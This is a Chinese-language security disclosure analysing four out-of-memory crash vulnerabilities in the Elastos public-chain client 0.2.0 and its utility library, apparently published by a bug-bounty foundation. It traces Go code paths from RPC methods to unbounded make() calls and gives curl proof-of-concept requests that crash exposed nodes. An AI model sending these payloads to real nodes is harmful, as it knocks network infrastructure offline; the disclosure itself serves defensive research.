關于區塊鏈安全的資料,目前互聯網上主要側重于錢包安全、智能合約安全、交易所安全等,而很少有關于公鏈安全的資料,公鏈是以上一切業務應用的基礎,本文將介紹公鏈中比較常見的一種的DoS漏洞。
1、 知識儲備
公鏈客戶端與其他傳統軟件的客戶端沒有太大區別,在傳統軟件上會遇到的問題在公鏈客戶端中都有可能遇到。
所以要讓一個客戶端發生Crash的常見方法有:
公鏈節點可被輕易攻擊下線的危害是巨大的,比如會使網絡算力驟減,從而導致51%攻擊等。
本文根據亦來云的這幾個漏洞主要介紹的是由OOM所引起的Crash漏洞。
2、 漏洞分析
本文主要對亦來云公鏈0.2.0的以下價值20ETH的4個漏洞進行分析:
DVP-2018-08809(Reward:5ETH)
DVP-2018-08813(Reward:5ETH)
DVP-2018-08817(Reward:5ETH)
DVP-2018-10793(Reward:5ETH)
DVP-2018-08809
servers/interfaces.go漏洞代碼片段:
func DiscreteMining(param Params) map[string] interface {} { if LocalPow == nil { return ResponsePack(PowServiceNotStarted, "")?? }??count, ok: =param.Uint("count") if ! ok { return ResponsePack(InvalidParams, "")?? } ret: =make([] string, count) blockHashes, err: =LocalPow.DiscreteMining(uint32(count)) if err != nil { return ResponsePack(Error, err)???? } for i, hash: =range blockHashes {??????ret[i] = ToReversedString( * hash)???? } return ResponsePack(Success, ret) }
根據以上代碼可以發現DiscreteMining函數會接收一個param參數,并從param中取出一個值賦值給count變量。
然后count變量會被待會make函數中
通過官方文檔了解到make函數是用于創建數組的,而數組的長度由第二個參數控制,理論上只要第二個參數很大,就會產生一個占有大量內存的數組,從而導致OOM。
而make函數的第二個參數可以通過param參數來控制,所以只要param參數是遠程可控的,就可以遠程使節點Crash了。
最終在httpjsonrpc/server.go中發DiscreteMining能通過rpc接口遠程調用,而目前的客戶端是默認開啟rpc并綁定公網地址的,所以可以對公網上任意節點發送惡意包使其Crash。
StartRPCServer函數代碼片段:
func StartRPCServer() {
mainMux = make(map[string] func(Params) map[string] interface {})??http.HandleFunc("/", Handle)?? //省略一段 ? ?// mining interfaces ? ?mainMux["togglemining"] = ToggleMining
mainMux["discretemining"] = DiscreteMining??err: =http.ListenAndServe(":" + strconv.Itoa(Parameters.HttpJsonPort), nil) if err != nil {????log.Fatal("ListenAndServe: ", err.Error())??
}
}
PoC:
curl--data - binary '{"method":"discretemining","params":{"count":"99999999999999"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20333
DVP-2018-08813
core/payloadwithdrawfromsidechain.go漏洞代碼片段:
func(t * PayloadWithdrawFromSideChain) Deserialize(r io.Reader, version byte) error {??height,
err: =common.ReadUint32(r) if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], BlockHeight deserialize failed.")??
}??address,
err: =common.ReadVarString(r) if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], GenesisBlockAddress deserialize failed.")??
}
length,
err: =common.ReadVarUint(r, 0)
if err != nil {
return errors.New("[PayloadWithdrawFromSideChain], SideChainTransactionHashes length deserialize failed")??
}??t.SideChainTransactionHashes = nil??t.SideChainTransactionHashes = make([] common.Uint256, length) for i: =uint64(0);
i < length;
i++{
var hash common.Uint256????err: =hash.Deserialize(r) if err != nil {
return errors.New("[WithdrawFromSideChain], SideChainTransactionHashes deserialize failed.")????
}????t.SideChainTransactionHashes[i] = hash??
}??t.BlockHeight = height??t.GenesisBlockAddress = address??
return nil
}
這里同樣是由于make函數的第二個參數由參數r控制,只要r可控就可以使make函數引發OOM,從而Crash。
在servers/interface.go中的SendRawTransaction函數中發現間接的調用了Transaction的Deserialize函數,具體如下:
func SendRawTransaction(param Params) map[string] interface {} {
str,
ok: =param.String("data") if ! ok {
return ResponsePack(InvalidParams, "need a string parameter named data")??
}
bys,
err: =HexStringToBytes(str) if err != nil {
return ResponsePack(InvalidParams, "hex string to bytes error")??
}
var txn Transaction err: =txn.Deserialize(bytes.NewReader(bys));
err != nil {
return ResponsePack(InvalidTransaction, "transaction deserialize error")??
}
if errCode: =VerifyAndSendTx( & txn);
errCode != Success {
return ResponsePack(errCode, errCode.Message())??
}
return ResponsePack(Success, ToReversedString(txn.Hash()))
}
根據如上標紅代碼可以發現SendRawTransaction函數會先取RPC接口傳來的data參數復制給變量str,然后變量str會轉換為bytes復制給變量bys,最后bys變量會被帶入Transaction的Deserialize函數中。
再看看Transaction的Deserialize函數:
func(tx * Transaction) Deserialize(r io.Reader) error {
// tx deserialize
if err: =tx.DeserializeUnsigned(r);
err != nil {
//略
return nil
}
//略
參數r被帶入了Transaction的DeserializeUnsigned函數中,繼續跟蹤一下:
func(tx * Transaction) DeserializeUnsigned(r io.Reader) error {
//略
tx.Payload,
err = GetPayload(tx.TxType) if err != nil {
return err??
}??err = tx.Payload.Deserialize(r, tx.PayloadVersion)
//略
return nil
}
func GetPayload(txType TransactionType)(Payload, error) {
var p Payload
switch txType {
//略
case WithdrawFromSideChain:
p = new(PayloadWithdrawFromSideChain)
case TransferCrossChainAsset:
??????p = new(PayloadTransferCrossChainAsset)
default:
return nil,
errors.New("[Transaction], invalid transaction type.")??
}
return p,
nil
}
在該函數中會先通過GetPayload(tx.TxType)來取到tx.Payload,然后會調用tx.Payload的Deserialize函數,只要能控制Payload的類型為PayloadWithdrawFromSideChain,就可以觸發PayloadWithdrawFromSideChain的Deserialize函數,而Transaction是通過RPC接口遠程傳來的,所以tx對象的字段都是可控的。
最終的利用鏈:RPC的SendRawTransaction接口->Transaction的Deserialize函數->Transaction的DeserializeUnsigned函數->通過GetPayload取到取到PayloadWithdrawFromSideChain對象->調用其的Deserialize函數->觸發make->OOM
PoC:
curl--data - binary '{"method":"sendrawtransaction","params":{"data":"0701100000000196ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
漏洞復現:
DVP-2018-08817
還是上面的Deserialize函數引起的OOM,不過觸發點不同。
這次的觸發點是在servers/interfaces.go中的SubmitAuxBlock函數中:
func SubmitAuxBlock(param Params) map[string] interface {} {??blockHash,
ok: =param.String("blockhash") if ! ok {
return ResponsePack(InvalidParams, "parameter blockhash not found")??
}
var msgAuxBlock * Block
if msgAuxBlock,
ok = LocalPow.MsgBlock.BlockData[blockHash]; ! ok {????log.Trace("[json-rpc:SubmitAuxBlock] block hash unknown", blockHash) return ResponsePack(InternalError, "block hash unknown")??
}??auxPow,
ok: =param.String("auxpow") if ! ok {
return ResponsePack(InvalidParams, "parameter auxpow not found")??
}
var aux aux.AuxPow??buf, _: =HexStringToBytes(auxPow) if err: =aux.Deserialize(bytes.NewReader(buf));
err != nil {????log.Trace("[json-rpc:SubmitAuxBlock] auxpow deserialization failed", auxPow) return ResponsePack(InternalError, "auxpow deserialization failed")??
}
//略
return ResponsePack(Success, true)
}
根據如上代碼可以發現,RPC接口傳過來的auxpow參數經過轉為bytes后會傳入變量buf,最終變量buf會被帶入Deserialize函數中,所以整個過程也是可控的,唯一不足的是這個觸發點還需要提供另外一個參數blockhash,如果不提供這個參數或者提供有誤的話會沒法往下執行,不過好在正好還有一個CreateAuxblock函數,利用此函數可以創建一個Auxblock并得到它的blockhash。
PoC:
curl--data - binary '{"method":"createauxblock","params":{"paytoaddress":"0701100000000196ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
curl--data - binary '{"method":"submitauxblock","params":{"blockhash":"上個請求返回的blockhash","auxpow":"ffffffffffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
DVP-2018-10793
最后這一個漏洞問題不是出在亦來云公鏈源碼中,而是出在亦來云公鏈的官方依賴包(Elastos.ELA.Utility)中
common/serialize.go漏洞代碼片段:
func ReadVarBytes(reader io.Reader)([] byte, error) {????val,
err: =ReadVarUint(reader, 0) if err != nil {
return nil,
err????
}????str,
err: =byteXReader(reader, val) if err != nil {
return nil,
err??????
}
return str,
nil
}
func byteXReader(reader io.Reader, x uint64)([] byte, error) {????p: =make([] byte, x)????n,
err: =reader.Read(p) if n > 0 {
return p[: ],
nil
}
return p,
err??
}
ReadVarBytes函數會從reader參數中取出一個數值給val變量,val變量會被帶入byteXReader函數 中,而byteXReader函數會將接收到的第二個參數帶入make函數的第二個參數中,所以只要reader可控的話就能構造一段payload最終使make函數引起OOM。
由于這個函數在一個通用工具庫中,所以理論上可以從很多地方觸發,這個漏洞還是使用的是RPC接口的SendRawTransaction函數的Deserialize函數進行觸發。
func(tx * Transaction) Deserialize(r io.Reader) error {
//略
for i: =uint64(0);
i < count;
i++{
var program Program
if err: =program.Deserialize(r);
err != nil {
return errors.New("transaction deserialize program error: " + err.Error())????
}????tx.Programs = append(tx.Programs, &program)??
}
return nil
}
然后調用到了Program的Deserialize函數:
func(p * Program) Deserialize(w io.Reader) error {??parameter,
err: =ReadVarBytes(w) if err != nil {
return errors.New("Execute Program Deserialize Parameter failed.")??
}??p.Parameter = parameter code,
err: =ReadVarBytes(w) if err != nil {
return errors.New("Execute Program Deserialize Code failed.")??
}??p.Code = code
return nil
}
然后就調用到了依賴庫中的ReadVarBytes函數,該函數會調用觸發OOM的byteXReader函數,數據都是一路從RPC接口傳過來的,所以是可控的。
那么利用鏈就很明了了:RPC的SendRawTransaction接口->Transaction的Deserialize函數->Program的Deserialize函數->依賴庫中的ReadVarBytes函數->byteXReader函數->觸發make->OOM
PoC:
curl--data - binary '{"method":"sendrawtransaction","params":{"data":"0301ffffffffff"}}' - H 'Content-Type:application/json'http: //*.*.*.*:20336
漏洞復現:
3、 總結
Crash漏洞其實在傳統安全領域已經非常常見了,比如Fuzzing瀏覽器,在遇到某些特殊輸入的時候瀏覽器就會發生Crash,不過僅僅是Crash的話在傳統客戶端領域,危害其實并不是很大。
但在區塊鏈中便不同了,任何一個微小的問題都可以被無限放大,例如:整型溢出漏洞導致超額鑄幣。所以就Crash漏洞來說,在區塊鏈的公鏈中也是屬于高危類型的漏洞,因為公鏈節點既是客戶端 也是服務端,屬于整個公鏈生態的基礎設施。
目前公鏈安全由于其門檻相對較高,所以研究的人也比較少,DVP基金會將秉著負責任的披露原則逐步公開行業內的經典漏洞案例,為區塊鏈安全領域添磚加瓦,同時我們也希望更多的白帽子參與到區塊鏈安全這個還處于蠻荒階段的領域中來。